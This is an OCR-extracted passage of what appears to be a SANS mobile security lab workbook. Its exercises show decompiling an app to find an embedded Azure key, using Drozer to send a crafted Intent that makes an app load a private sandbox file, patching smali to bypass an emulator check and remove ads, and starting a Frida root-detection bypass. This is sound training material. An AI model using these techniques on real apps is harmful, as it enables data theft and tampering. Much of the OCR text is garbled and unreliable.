ile presents the reconstructed source code from the Interface

Description Language (IDL) bytecode. With JustDecompile, the code is presented in

JustDecomp
reconstructed C# format, instead of Java.

4

Like Jadx

After spending a minute or two looking at the code, click on the Knowledge indicator for this

task to see our analysis.

JustDecompile's search mechanism opens the AzureDataStore class on line 46,
where it identified the matching search string. The AzureDataStore () method

object with the return value of calling

1Ce
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Fortunately, JustDecompile offers additional features to help us learn more about the

method arguments.

ing

Ine

can't determ

123

© 2019 Joshua Wright & NVISO



mblyList - (1 file)

R

o
-

~
a
o
2
S
%‘
o o
il
3
=
A
¢
il

DefauttAss

.
-

s
R

-

e

BB | (0pen. [T Assemblylist [TJ Clear Lst Find Usages [ Toolz | [@] Plugins

i
-

R

J MyShep  (HLT - = AzureDataStore '+

« -3 MyShop.dll 3 = :
13 |[[|namespace Myshoj

. | <2 Reference ¢ ‘ e Vatop

1
- 12 {

-

-

-
. I 4} <Default 15 51 puclic raSto : That .
- 15 E
. 4 {} MyShop . {
- 17 privace iobilelaxrwvi storelable; -

- “% App 1
- 4 g Bgurel i3 private IMobileSarviceSync

able<Fredback> £

inastonce;

-

<
0
Q
i
o

-

”
i
2

-
%
<

-

-
-

-

-

-
-

-
-

-
-

-

-
-

-
.

e
o
o

-
-
-

-
.
.

-

.

-

-
-

-

-
<
l

3z [ gtatic Az

=

il Azurclat

23] pubiic AzureDatasStoxe()

this.MobiieJervice = new Mobilede

ttosa://myshopapp—«

6606660 de ol
<

Asserr MyShap, =
Version=10.5 x
659.28463, = N
Culture= reutr
a Y. 1 ]

o
.
-

-

-

-
-
-

-
-

-
o

.
-
-

|

15. Open the MobileServiceClient Declaration

JustDecompile allows us to easily and quickly navigate the reconstructed source code by
clicking on method names to see the corresponding code. On line 46 of the
AzureDataStore class, click on the method name MobileServiceClient immediately
following the new keyword to open the reconstructed code for this method. When
JustDecompile prompts you to load Microsoft.WindowsAzure.mobile.dll, click Yes.
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16. Examine the MobileServiceClient Method Declaration

JustDecompile presents us with the method declaration arguments for the
MobileServiceClient method. Examine the output on line 197 (and the overload method

declaration on line 209) for a few moments to identify the Microsoft-chosen variable names
for the method arguments.

After spending a minute or two looking at the code, click on the Knowledge indicator for this
task to see our analysis.

Line 197 shows the declaration of the MobileServiceClient method arguments,
this time providing intuitive names for the arguments instead of the static strings
revealed in the Myshop.d11 code. A similar-looking method declaration is also
provided on line 209, which is known as a method overload. Method overloads are
used when a developer wants to have one method name, but allows the method to
handle different arguments or different argument types transparently for the
developer. The method declaration in line 197 accepts variables of type string for the
URIs, while a similar declaration on line 209 accepts URI types. Both work similarly;
since the code on line 197 did not decompile, we can focus our analysis on the
declaration on line 209 instead.

In the MobileServiceClient declaration on line 209, we see the same four
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method arguments that we saw in the AzureDataStore class in MyShop.dl1l.
Here we see the methods are named mobileAppUri, gatewayUri,
applicationKey, and handler. This confirms that the string we identified earlier

is an application key, used for authenticating the mobile service client to the Azure
cloud services.

The disclosure of the Azure application key could be a significant finding for the
application, depending on the permissions associated with the specific key.
Additional analysis of the application functionality associated with the
MobileServiceClient, and possibly interaction with the Azure cloud services
directly, is needed to evaluate the impact of the disclosure further.
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In this analysis, you've further established yourself as the go-to person for mobile app analysis.
Recognizing the need to embed the sensitive Azure application key in the MyShoppe framework,
Mike Hottaire is able to take this information back to the board of directories to more carefully
consider their course of action. Congratulations!
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SEC575-4.1: Exercise—Manipulating Android Intents
Objective

Use Drozer to interact with Flitter, an in-development application that exposes the Android platform to privilege

escalation risks.
Scenario

In this exercise, you'll work with the Drozer framework to evaluate a custom application (Flitter) that
exhibits vulnerabilities leading to privilege escalation attacks on the Android platform.

Virtual Machines

1. Windows 10
2.SEC575-E01_02: PfSense
3.Kali

4. Android 8.1
5.SEC575-E01_02: LabServer

Manipulating Android Intents

One of your coworkers, Josh Liston, has put together a prototype application he calls Flitter. "We can use
this to solicit feedback from customers’, he announces at a weekly staff meeting. You are tasked with
looking the application over to determine if it sufficiently protects against misuse on the system.

Use Drozer to evaluate the Flitter application on the Android VM. Run the application and experiment with
its functionality, then complete six analysis tasks using Drozer modules:

* List installed packages on the Android device
* Identify the attack surface of Flitter using Drozer's app . package.attacksurface module

3

Enumerate the Flitter activity component(s)
* Start a Flitter activity from Drozer

¢ Identify Extras associated with the Flitter activity

* Invoke the activity to display the contents of
file:///data/data/com.willhackforsushi.flitter/files/secret.html

1.Log in to Windows

Click and drag the lock screen up to reveal the login screen. Log in as the user student with the password

student.

2.0pen Command Prompt
From the Windows system, click Start | Command Prompt to open a command shell.

3.Use ADB to Connect to the Android VM

From the Windows command prompt, use the adb utility to establish a connection to the Android VM:
C:\Users\student>adb connect 10.10.10.7:5555
connected to 10.10.10.7:5555

C:\Users\student>adb
devices List of
devices attached
10.10.10.7:5555

device
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4.Install Flitter
Install the Flitter software as shown:

C:\Users\student>adb install E:\lab-files\drozer\flitter.apk

5.Start Flitter

Switch to the Android VM. From the application list, start the Flitter application.
The Flitter application is still in its infancy, prompting users for feedback through a standard form.

We'll use Drozer to evaluate the security of this application.

Please fill out our survey. Thank yc

Heom satisfied were you with the servce?

WOUM yeu 1o ommend s servce 1

Please share any closng thoughts

S L i i
e L = S

6.Start the Drozer Agent Embedded Server
From the Android VM, launch the Drozer agent from the application list. Click the OFF button to start the

embedded server listening on TCP/31415.

s
.

.

]

.
.
.

S

-
-

=

e
e

o
B

drozer

e
e
o

-
=
o

e

o

|
o
-

S

S L
- . . .

.
.
. e
. -

128 © 2019 Joshua Wright & NVISO



7.Start the Drozer Console

Return to the Windows command prompt. Change to the C:\Program Files\drozer directory, then

start the Drozer console, as shown:
C:\Program Files\drozer>drozer.bat console connect --server 10.10.10.7

Although the global drozer command exists, it has a bug when run from a different hard drive
(E:). Be sure to start the console through the C:\Program Files\drozer directory.

8.Examine Drozer Help
From the Drozer console, run the help command to see basic help information:

dz> help

drozer: Android Security Assessment Framework

Type “help COMMAND  for more information on a particular command, or
"help MODULE  for a particular module. Commands:
cd contributors env help load permissions set unset clean

echo exit list module run shell Miscellaneous help topics:

intents

The Drozer help module also takes an optional parameter of the module name, providing help about that
specific module:

dz> help list
usage: list [FILTER]

Displays a list of the available modules,
optionally filtered by name. Examples:

dz> list activity.forintent

activity.info ... snip ... dz> list

debug information.debuggable

dz> optional arguments: --unsupported include a list of the modules
that are not available on your device dz>

Remember that Drozer's integrated help command provides both a list of options available and sample
use cases for modules.

9. List Available Drozer Modules

From the Drozer console, you can quickly list available modules with the list or Is commands. Run the
list command to see available modules, as shown:
drozer Console
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(v2.3.4) dz> 1s
app.activity.forintent Find activities that can handle

the given intent app.activity.info Gets information
about exported activities. app.activity.start Start an
Activity

app.broadcast.info Get information about broadcast
receivers app.broadcast.send Send broadcast using an
intent app.broadcast.sniff Register a broadcast
receiver that can sniff

Optionally, you can supply a partial string to use for limiting the module list to name matches. For
example, if you want to see all the Drozer modules associated with Android activities, you can
specify 1s activity:

dz> 1ls activity

app.activity.forintent Find activities that can handle
the given intent app.activity.info Gets information
about exported activities. app.activity.start Start an
Activity

A Prommgn - Brater cemade coenent —tarver HLAL10T

services
nd display the repl

to cont
ch apps

10. List Installed Packages

From the Drozer console, use the app.package.list module to list the installed packages

(applications). Then filter the output with the

app.package.list -f argument to limit the output to only the Flitter application:
dz> run app.package.list

com.android.soundrecorder (Sound

Recorder) com.android.defcontainer

(Package Access Helper)

com.example.android.notepad (NotePad)

dz> run app.package.list -£f

flitter
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com.willhackforsushi.flitter
(Flitter) dz>

Using app.package.list with the —-f argument is useful to identify the package name of an
application from a search string.

11. Identify the Flitter Attack Surface

Identify the Drozer attacksurface module using the list command. Next, examine the help associated
with the attacksurface module to see usage information. Then use the attacksurface module to evaluate
the Flitter application:

dz> list attacksurface

app.package.attacksurface Get attack surface of package

dz> run app.package.attacksurface -h
usage: run app.package.attacksurface [-h] [package]

Examine the attack surface of an installed package.

positional arguments:
package the identifier of the package to inspect

optional arguments:

-h, --help
dz> run app.package.attacksurface com.willhackforsushi.flitter
Attack Surface:

1 activities exported

0 broadcast receivers exported

0 content providers exported

0 services exported

The output of the app.package.attacksurface module indicates that Flitter has one exported
Activity. We can use Drozer to further evaluate that Activity to identify attack opportunities.
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12. Enumerate Flitter Activity

Identify the Drozer Activity info module using the list command. Next, examine the help associated
with the Activity info module to see usage information. Then use the Activity info module to evaluate
the exported Flitter activity:

dz> 1ls activity

app.activity.info Gets information about exported activities.

dz> run app.activity.info -h

usage: run app.activity.info [-h] [-a PACKAGE] [-f FILTER] [-u] [-V]

Gets information about exported activities.
optional arguments:
-h, --help
-a PACKAGE, --package PACKAGE
specify the package to inspect
-f FILTER, --filter FILTER
specify a filter term for the activity name
-u, --unexported include activities that are not exported
-v, —-verbose be verbose
dz> run app.activity.info -a com.willhackforsushi.flitter
Package: com.willhackforsushi.flitter
com.willhackforsushi.flitter.FlitterActivity

Using the app.activity.info module with the -a argument to specify the application
package name, you see that the exported Activity is called
com.willhackforsushi.flitter.FlitterActivity. Since this Activity is exported, you
can invoke it with a custom Intent.
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13. Start the FlitterActivity Activity

Now that you know the application package name (com.willhackforsushi.flitter) and the Activity
name (com.willhackforsushi.flitter.FlitterActivity), you can invoke the Activity from
Drozer. To invoke an Activity from Drozer, use the app.activity.start module. Examine the help
information for this module to see usage information, then invoke the
com.willhackforsushi.flitter.FlitterActivity module as shown:

dz> run app.activity.start -h

usage: run app.activity.start [-h] [-—-action ACTION] [--category CATEGORY]
[-—component COMPONENT [--extra EXTRAS EXTRAS EXTRAS]
[--flags [FLAGS [FLAGS ...]]] [-—mimetype MIMETYPE]

Starts an Activity using the formulated intent.

dz> run app.activity.start --component com.willhackforsushi.flitter
com.willhackforsushi.flitter.

The ability to invoke exported Activities from an arbitrary application with Drozer is a powerful

feature. Even Activities that are not normally used within an application can be invoked using
Drozer, allowing you to access protected application features.
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When you invoked Flitter normally, it populated the screen with a form asking for feedback.

Invoking the same Activity through Drozer displays a blank form.
This difference in behavior indicates that there may be an Intent extra that changes the

functionality of the application. To be sure, we need to reverse engineer the Flitter

application using Jadx or JD-GUI.

o

e

screen—interesting, but we can do more w

Return to the Android VM to see the

14. Inspect Invoked Flitter Activity
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15. Identify Application Extras

Unfortunately, Drozer cannot identify application Extras that allow you to supply additional
information to an Android component (such as an Activity). To identify the type and names of Extras
associated with Android app components, you need to reverse engineer the application and evaluate
the Java source.

Return to the Windows system. Open a new Command Prompt and change to the use C:\tools
directory. For this exercise, we will use Bytecode Viewer (BCV) to decompile the application. Launch
BCV by starting the jar file:

C:\Tools>java -jar bytecode-viewer.jar

In BCV, select File > Add and select the Flitter.apk file.

After BCV finishes decompiling the Flitter.apk file, navigate to the
com.willhackforsushi.flitter.FlitterActivity Activity. By default, the class is
decompiled with the Procyon decompiler.

16. Analyze the Flitter Source Code

From BCV, examine the com.willhackforsushi.flitter.FlitterActivity source. Line 47
of the source reveals that the extras variable is populated with the result of the getExtras ()
function. Next, a string object is declared, retrieving the Extra parameter URL. This parameter is
subsequently used with the webview.loaduUrl function to load a remote webpage. With this
knowledge, and our previous discovery of access to the FlitterActivity Activity, we can return to the
Drozer console and modify our Intent to customize the URL parameter.

BCV reveals the getExtras () code useinthe FlitterActivity source. Reviewing the

source code reveals the Extra name (URL) that it is used to specify the HTTP URL to use when
populating the Flitter WebView using 1oadurl ().
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17. Launch FlitterActivity with Extra

Using the Drozer module app.activity.start, you can supply an Extra with the Intent using the
--extra argument. Recall from the module that the --extra argument takes three parameters:
the parameter type, the parameter name, and the parameter value.

Return to Drozer and invoke the FlitterActivity again, this time supplying the --extra argument
specifying the URL element with a type string and the URL http://puppywar.sec575.0rg:

dz> run app.activity.start --component com.willhackforsushi.flitter
com.willhackforsushi.flitter.FlitterActivity

--extra string URL http://puppywar.sec575.0org

Extra names are always case-sensitive. Be sure to specify the extra URL in this Drozer command.

18. Inspect Invoked Flitter Activity with Extra
Return to the Android VM to see the invoked Flitter Activity, this time with the Intent Extra.

Sending a new Intent to the Flitter application with the URL. Intent Extra causes the Flitter
application to display the web URL specified. This functionality is used within the application to
render Activity screens shown to the end user but can be further manipulated by a malicious
application to access other URLs.

In addition to loading pictures of cute puppies where they don't belong in the Flitter application,
you can use this functionality to see the secret.html content stored in the Flitter sandbox.
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20. Inspect Invoked Flitter Activity with Secret File
Return to the Android VM to see the invoked Flitter Activity, populated with the secret.html file contents.

If you have oxtra time (and
this file in the Fitter sandb

21. Optional: Compare Decompiler Results

If you have extra time in this lab exercise, return to the Windows system and open the flitter.apk file
with the Bytecode Viewer again. Using the View menu at the top, choose multiple decompilation
methods and compare how the onCreate method is decompiled using different decompilers.

The code is compiled differently but is usually functionally equivalent. Some decompilers will work to
create cleaner code than others, and sometimes the decompiler will fail to decompile certain
methods. For example, JD-GUI is unable to decompile the convertStreamToString method.
Remarkably, CFR even identifies a ternary operator structure:

object = (object = this.getIntent().getExtras()) != null ? object.getString("URL") :
"http://flitter.sec575.0rg/";

The output of CFR and FernFlower give the cleanest code for the Flitter application, though it is still
beneficial to consult the output from multiple decompilation tools, particularly when class obfuscation and
anti-reverse engineering techniques have been applied.

The decompiler layout is only loaded when a file is newly opened. After changing the
configuration of the views, be sure to close and reopen the tab of the file you want to see.
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In your analysis, you used Drozer to enumerate and explore application vulnerabilities. Using this tool,
you were able to demonstrate the impact of vulnerabilities similar to how a malicious application would
exploit the vulnerability. Josh Liston is impressed with your work and thanks you for helping him
understand how Android permissions and sandbox isolation can be circumvented. Congratulations!
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SEC575-4.2: Exercise—Modifying Android Applications
Objective

Use the Apktool utility to decompile an Android application to Android bytecode format (".smali"
files). Change the Smali files to manipulate the functionality of the application, then recompile and
sign the new application.

Scenario

In this exercise, you'll work with the IsItDown application, an Android app that tests if the target
website or other service is reachable for the user. The IsItDown application developer intends to
profit from the use of the application by showing as many banner ads as possible. The developer
also prevents people from using the application in the Android VM and Android Emulator
environments.

You will leverage Android decompilation tools in this exercise to generate bytecode files for the
application. You will be able to edit the bytecode files to modify the application to remove the no-
emulation restriction and disable the annoying banner ad as well.

Virtual Machines

1.Windows 10
2.SEC575-E01_02: PfSense
3.Android 8.1
4,SEC575-E01_02: LabServer

Modifying Android Applications

Your coworker Kevin Searle has been bragging about a new Android app he wrote that will surely
make him a millionaire. "Have you ever not been able to reach a site, and used a service like
www.Isitdownformeoreveryoneelse.com?"” he asks. "I basically wrote that in an app form, where you
can test the reachability for a remote website or any other host and port combination!”

When asked how he plans to make the app profitable, he grins. "I signed up with 20 different
aavertisers, and I flash the banner ad over and over again. I also added a mechanism to stop cheaters
who run applications in a virtual Android environment and aren't going to click on the banner ad
anyway."

After spending a few minutes talking to you, Kevin isn't so sure his plan is a good one. He asks you to
demonstrate Android app modification techniques using Apktool, keytool, and jarsigner. He's given you
a copy of a beta version of his app, IsltDown, in E:\1lab-

files\android modify\IsItDown.apk.

Install IsitDown in the Android VM and experiment with the application, observing the banner ad and
the refusal to operate in a virtual Android environment. Then decompile the app with Apktool, modify
the smali files to disable the banner ad, and overcome the no-virtual-devices restriction. Finally,
generate your own keystore, re-sign the application, and demonstrate to Kevin just how vuinerable
Android apps are to app manipulation attacks.

1.Log in to Windows

Click and drag the lock screen up to reveal the login screen. Log in as the user student with the
password student.
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2.0pen Command Prompt
From the Windows system, click Start | Command Prompt to open a command shell.

3.Use ADB to Connect to the Android VM
From the Windows command prompt, use the adb utility to establish a connection to the Android VM:

C:\Users\student>adb connect 10.10.10.7:5555
connected to 10.10.10.7:5555

C:\Users\student>adb
devices List of
devices attached
10.10.10.7:5555
device

= [version 10.8.18586)
rpecation. all r

aemon started suCcess
onnected to 10.10.10.7:5

4.Install the IsItDown Application
From the Command Prompt, install the IsIitDown application using ADB:
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C:\Users\student>adb install E:\lab-files\android modify\isItDown.apk

o Studentsadh IAitall £:\1es-Filev\androld modify\tateboun. ek
TI0T K78 (20657 bytes In 0.0018)
Success

T\Usersistudents

5.Launch IsItDown

Switch to the Android VM and launch the IsItDown application. Spend a few minutes
experimenting with the application, testing the reachability of the 10.10.10.10 host.

IsItDown does not allow you to test the reachability of a specified target host, returning the
error message, "No emulator use permitted. Go away."
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o
-"Ill(“wn

Target (or Target:port)
10.10.10.10

No emulator use permitted. Go away.

Webpage not available

6.Decompile IsItDown

Return to the Windows system. At the command prompt, decompile IsIitDown.apk, producing a
directory of resources, XML files, and smali bytecode source files:
C:\Users\student>E:

E:\> cd lab-files\android modify
E:\lab-files\android modify> apktool d isItDown.apk
I: Using Apktool 2.4.0 on

isitdown.apk I: Loading

resource table...

I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file:
C:\Users\student\apktool\framework\1l.apk I: Regular
manifest package...

I: Decoding file-

resources... I:
Decoding values */*
XMLs... I: Baksmaling

classes.dex...

I: Copying assets and
libs... I: Copying

unknown files...

I: Copying original files...

Apktool will produce a new directory E: \lab-files\android modify\IsItDown. In this
directory, you will see several new directories:

o

original - The original signature information

from the decompiled application res - Application

resource files including XML configuration files,

images, etc. smali - Android bytecode source files

created by Apktool

unknown - Any other files Apktool observed in the original APK file

o

o
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7.Review Smali Files

From the Command Prompt, change to the E: \1ab-

files\android modify\isItDown\smalil\com\willhackforsushilisitdown
directory. Spend a few minutes examining the Smali files using the Notepad++ utility, looking for
the banner ad code, and the IsItDown functionality that prevents it from being run in the Android
VM. Focus your analysis on the MainActivity.smali and MainActivity$1l.smali files:

E:\lab-files\android modify\>cd
isitdown\smali\com\willhackforsushi\isitdown

E:\lab-

files\android modify\isitdown\smalilcom\willhackforsushilisitdown>notepa
d++ MainActivity.s

ub-tiey ancroad_modéy’ neSoan el com adhacifonunby’ nedown MamActsty nak - Noteped
fdt Sawch Vw Gncodng Langusge Semegs Miou R
HE @ d%h(oc k| ax

opertyiLd

¥ Lisvaliang/Ciaass
# Liwvarissg/Sreing:

e
-

Canoanian o b ik e
... -

- -
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8.Inspect isEmulator{) Method

Open MainActivity.smali in Notepad++. Skip to line 72 to inspect the isEmulator ()
method.

The isEmulator () method returns a Boolean value, as noted with the trailing Z at the end of the
method name declaration.

Looking at this method, we can see that the application uses several techniques to identify the
presence of an Android emulator or an Android-x86 VM. We could edit this method to
manipulate these checks, but this would probably be more effort than is necessary. Instead,
search the source code for other invocations of the isEmulator () method, and you will
manipulate the invocation code instead.

9.Identify Invocation of isEmulator() Code

From Notepad++ with the MainActivity.smali file open, click Search | Find and enter the search
string isEmulator. Find the two occurrences of this string in the file; one we saw in the previous
step at the isEmulator() method declaration and a second on line 376 where the method is
called and the return value is evaluated on line 380.

Look at line 380, which uses the opcode if-eqz to test is the return value from isEmulator() is
equal to 0 (e.qg., it tests if isEmulator() returned not true). If the v13 register is 0, then the code
skips to the :cond_0 block later in the method.

Next, look at line 383. If the if-eqz opcode does not skip to the :cond_0 block (e.g., the return
value from isEmulator() is not 0—it is true), then the code knows that the user is running in an
emulator, and prepares to display an error to the user before exiting the method with a return.

We want to manipulate this code such that we can still run the application, even if it is from within an
emulated Android environment.
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10. Edit isEmulator() Invocation Code

There are a lot of different ways you could edit the invocation code to achieve the desired result.
After looking at the code for a few minutes, this author feels that the easiest way to allow the app
to run in an emulator is to add an instruction after the if-eqz test on line 380. Consider the two
code lines shown below:

if-eqgz v13, :cond O

4 Exists if-nez v13,

:cond 0 # New

The first line with if-eqz already exists, and we can add the second line, i f£-nez. By adding the
second line, the method will always jump to the

:cond 0 block, regardless of the return value from isEmulator ().

Insert if-nez code shown here on line 381, immediately following the if-eqz code.
By using an if-eqz followed by an if-nez, we create a tautology—a condition that is always

true. Following the test for

isEmulator (), we manipulate the app to function regardless of the return status of
isEmulator ().
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11. Search for Banner Ad
Next, search for the code that invokes the banner ad. With the MainActivity.smali
document open, click Search | Find and enter the search term http, searching for a basic
URL or any other code excerpt that includes http in the name.

o
-
-

o

.
S

-
.
-

-
.

-

.
.
=

.

s

i -
.
s
o

o
-

[

e
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.
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12. Disable WebView.loadUrl Method

Inspecting the code at line 296, you will see the URL for the content retrieved for advertising.
Immediately following, you will see a call to WebView.loadUrl () on line 298. Add a hash
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character at the beginning of line 298, disabling the WebView.loadURL () code. Click File |
Save to save the change to the MainActivity.smali file.

An Android WebView is a portion of an application where HTTP content is rendered and displayed
(such as an image or HTML markup). By commenting out the WebView.loadUrl () code, the
application will retain a blank WebView with no content.

13. Identify Second WebView Reference

Developers may use more than one code block for application functionality, possibly as a way to
evade attackers who manipulate applications through reverse engineering techniques.

Search through the other smali files for IsItDown, locating a second reference to the ad URL.
Once identified, disable the WebView.loadUrl () asyou did for MainActivity.smali.

14. Search Using Findstr

From your Command Prompt, search for the http string using the Windows findstr utility, as
shown:
E:\lab-
files\android modify\isitdown\smalilcom\willhackforsushilisitdown>findst
r /i http *.smali
MainActivity$1l.smali: const-string v2,
"http://files.sec575.0rg/ad.gif" MainActivity.smali:

const-string v3,
"http://files.sec575.0rg/ad.gif" Next, open the
MainActivity$1l.smali file with Notepad++.

Here we see that both MainActivity.smali and MainActivity$1.smali have URL references that point
to the banner ad.
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16. Rebuild your APK File

\Users\student directory (one

directory above the IsItDown/ directory). Rebuild the IsItDown application using Apktool

Return to your Command Prompt and change to the C

\lab-
files\android modify\itItDown\smalilcom\willhackforsushilis

E

itdown>ed

\lab-files\android mo
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E:\lab-files\android modify>apktool b isItDown
I: Using Apktool 2.4.0

I: Checking whether sources has

changed... I: Smaling smali

folder into classes.dex... I:

Checking whether resources has

changed... I: Building

resources. ..
I: Building apk file...
I: Copying unknown files/dir...

If your Dalvik bytecode changes introduced syntax errors or typos in the smali files, then
you will see errors here. Resolve the errors using the reported line numbers and filenames
and try to build again (don't spend too much time here though—ask an instructor or a TA
for assistance).

If you get really stuck, delete the top-level IsItDown directory generated by apktool and
start again, recreating the changes described in this exercise.

Apktool rebuilds the APK file from the Smali files and saves the new APK to E:\1ab-
files\android modify\isitdown\dist\isitdown.apk. This APK file isn't signed,
however, so it can't be installed on an Android device.

17. Generate a Keystore
Next you need to generate a keystore for use in signing the newly generated APK file. Create a
directory for the keystore, then generate the keystore using the Java keytool command, as
shown. Enter a basic password ("password" is OK) when prompted. Answer all the questions
when prompted:

E:\lab-files\android modify>mkdir keys
E:\lab-files\android modify>keytool -genkey -v -keystore
keys/IsItDown.keystore -alias IsItDown -keyalg RSA - validity 10000
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€ :\Users\student snkdir keys

€ :\Users\studentskaytool -genkey -v -keystors keys\TsTtDoun.keystore -alias TsTtDoun -keyalg RSZ -validity 16608
Enter koystore password:
Re-enter new password
at 1s your first and last nase?
[Unknown]: Joshua Wri
at is the nase of your organizaticnal unit?
[Unknown ] :
3t ic the nasc of your organizaticn?
[Unknown]: Will HMCK for Sushi
ot 15 the nase of your City or Locality?
[Unknown]: Providence
ihat is the name of your State or Province?
[Unknown]: Rhode Tsland
hat is the two-letter country coda for this unit?
[Unknown s
CH=Joshud Wright, Ou-Unknoun, O-will HACK for Susl L=Providence, ST-Rhode 1sland, C-US correct?
[no]: yes

Generating 2,848 bit RSA key pair and self-signed certificate (SHA2SGwithRSA) with a validity of 18,008 days
for: CN-Josnua Wright, CU-Unknown, O-Will HACK for Sushi, L-Providence, ST-Rhode Island, C-US

Enter key password for <TsItDown>
(RETURN if sam as keystore password)

[Storing keys\TsTtDown. keystors ]

C:\Users\student >
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18. Sign the Modified APK

With your keystore generated, use the jarsigner utility from the Java Development Kit to sign Apktool's
new APK file, as shown:

E:\lab-files\android modify>jarsigner -verbose -keystore
keys\IsItDown.keystore isitdown\dist\isi

Enter the keystore password when prompted.
The warning "No -tsa or -tsacert is provided..." can be ignored.

The trailing argument in the jarsigner command line refers to the keystore alias (IsItDown).

- |

Recy<le Ein

Enter key password for <ISItDOwn»
(RETURN if same as keystors password
[Storing keys\IsItOown.keystore]

1B Coommend Prompt

C:\Users\student>1arsigner -verbose -Keystore koys\IsItDoun.Keystore 1S1TDown\dist\lsItDoun.3pk IsitDoun
Enter Passphrase for keystore

200ing: META- INF/MANLFEST.NF

adding: META-INF/ISITDOWN.SF

3dding: META-INF/ISITDOWN.RSA

signing: iduanifest.xml

signing: cz0s.dex

signing: res/drawable-hdpi-va/ic_action_search.png

signing: res/cndwable-hdpi-va/ic_launcher.png

signing: res/drawable-ldpi-va/ic_launcher.png

signing: res/crawable-mdpl-va/ic_action_search.png

signing: res/drawsble-mdpi-v4/ic_launcher.png
res/drawable-xhdpl-va/ic_action_search.png
res/dranable-xhdpi-va/ic_Launcher. pog
e/ ran3blo - xoxhops - va/1c_launcher. phy
res/layout/activity_main.ml

signing: res/menu/main.xal

signing: resources.arsc

signing: comvwillnhackforsushi/isitdown/.MainActivity.java.swup

r signed.

jarning

o -ts3 or -tsacert L2 providec and thiz Jor Lo not timestamped. Without a timeztamp, users may not be 3ble to validate
this jar after the signer certificate's explration date (2843-80-13) or after any futurs revccatlon date.

€ - \Users\student >

e L D
- -
- . .
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19. Zipalign the signed APK

After the APK file has been signed, it needs to be zipaligned. It is possible that the zip is already
correctly aligned, but it is best to perform this step every time.

E:\lab-files\android_modify>zipalign -v 4
isItDown/dist/isitdown.apk isItDown_fixed.apk Verifying
alignment of isitdown_aligned.apk (4)...

44 resources.arsc (OK)

3280 res/drawable-xxhdpi-

v4/ic_launcher.png (OK) 4375
res/layout/activity_main.xml (OK -

compressed) 5204 res/drawable-
xhdpi-v4/ic_action_search.png (OK)

5764 res/drawable-xhdpi-v4/ic_launcher.png (OK)

6468 res/drawable-mdpi-v4/ic_action_search.png (OK)
6848 res/drawable-mdpi-

v4/ic_launcher.png (OK) 7193

res/menu/main.xml (OK -

compressed)

7528 res/drawable-hdpi-v4/ic_action_search.png (OK)
8004 res/drawable-hdpi-v4/ic_launcher.png (OK)

8500 res/drawable-Idpi-v4/ic_launcher.png (OK)

8766 AndroidManifest.xml (OK - compressed) 9565 classes.dex (OK - compressed)
224757
com/willhackforsushi/isitdown/.MainActivity.java.swp (OK -
compressed) Verification successful

B Command Prompt

L:vlab-files\androdd modifyrzipalign -v 4 isltDown/dist/isitdown.apk isItDown _fixed.apk
lignment of isItDown_fixe a)...

e
210996 res/dr,
319473 res/dr.
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20. Uninstall Old, Install New IsItDown

Next, uninstall the old IsItDown application:
E:\lab-files\android modify>adb shell pm list packages | findstr /I

"isitdown"
package:com.willhackforsushi.isitdown

E:\lab-files\android modify>adb uninstall com.willhackforsushi.isitdown

E:\lab-files\android modify>adb install isItDown_fixed.apk

ndrold_sodlfyradh wainatall com.wlllhackforsiahl, 1sitson

fratall {s1tooun_ficed. sk

#iles\androld_medifyr.

21. Run Modified IsItDown

Return to the Android VM and launch the IsItDown application. You should see the distinct lack
of a banner ad and the flexibility to run the application even on virtualized and emulated
Android devices.

If IsItDown crashes, it may be from a logic error in your modified code. Review your Smali
code or start again and apply the modifications described in this exercise.
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SEC575-4.3: Exercise—Frida and Objection

Objective

Use Frida to modify the behavior of an application at runtime and intercept a password.
Scenario

In this exercise, you will use Frida to manipulate the behavior of the Secure Notes application. First,
you will disable a root check that is performed at the start of the application to make it run on the
emulator. After the root detection has been disabled, you will use Frida again to intercept the
password that is used to guard the secured notes.

Virtual Machines

SEC575-E01_02: Kali Linux
Windows 10
SEC575-E01_02: PfSense
Kali

Android 8.1

6. SEC575-E01_02: LabServer

i N

Frida and Objection

A good friend of yours has created the ultimate secure notes app. He is so confident about his new
application that he has even published it to the Google Play store. You immediately tell him that
thats a very bad idea, but he refuses to listen. The data is encrypted, and anyone that tries to
tamper with the application will be detected. You still insist that you can retrieve the content, but
once again he refuses to believe you.

When you get home, you immediately download the APK file and start working...

1. Log in to Windows

Click and drag the lock screen up to reveal the login screen. Log in as the user student
with the password student.

2. Open Command Prompt
From the Windows system, click Start | Command Prompt to open a command shell.

3. Use ADB to Connect to the Android VM

From the Windows command prompt, use the adb utility to establish a connection to the
Android VM:

C:\Users\student>adb connect 10.10.10.7:5555
connected to 10.10.10.7:5555

C:\Users\student>adb
devices List of devices
attached 10.10.10.7:5555
device
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\Users\student>adb connect 10.10.18.7
* daemon not running. starting it now on port 5037 *

* daemon started successfully *

connected to 10.10.10.7
\Users\student>adb devices

\Users\student>,

B Command Prompt

(¢) 2015 Microsoft Corporation. All rights reserved.

Microsoft Windows [Version 10.0.10586]

10.10.10.7
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\Users\student>adb

From the Command Prompt

C

4. Install the SecureNotes Application
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\Users\student>adb connect 10.10.18.7:5555

\Users\student>adb devices

\Users\student>
-

&5 Command Prompt

Microsoft Windows [Version 10.0.10586]

* daemon not running. starting it now on port 5837 *

* daemon started successfully *

(c) 2815 Microsoft Corporation. All rights reserved.
connected to 10.10.1@.7:5555

10.10.10.7:5555 device
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Switch to the Android VM and open the SecureNotes application by opening the applica
When the application opens, you are greeted with an alert welcoming you to the application.

list and clicking the SecureNotes icon.
Click OK to see a new alert indicating that the device has been rooted.

Click Exit to see the application close.

5. Open SecureNotes on the Android VM
option in the alert and click
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Switch back to the Windows VM. In the command prompt, change to the use ¢

directory. Start Bytecode Viewer by launching the jar file through the java command

\Users\student>ed \Tools

\Tools>

C
C

bytecode-viewer. jar

java -jar

In Bytecode Viewer, select File > Add and select the securenotes.apk file from the
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. e rg.26c575. securenctes; .
| NotesAdapter. dass paSn ora .
- = 2 .
- St tmport com.scottyab. rootbeer -
| = Rsanem.dass 3 <ACHERYaD. ToctheRr: .
- S Reaty.dass { import androidx.appcompat.app. -
- = Rs$bool.dass import android.view. -

Rcolor.dass import android.content.*:

-
.
-
.

-
-

i
-
-
-
.
-
-
-
-
-

- = R$dmen.class import android.widget.*: .
- = Redrawable.dlass import android.os.*; .
- -
- = Réd.dass .
S - [ 2 v 24 ok - T o
- Rnteger.dass public class MainActy’ PPCOTPATACTL ViewtCnClickListener, DialcgInterfacesOnClickListener -
. .
- -
. = Reyout.dass i .
- you { =
. Sipmap. public MainActivity() .
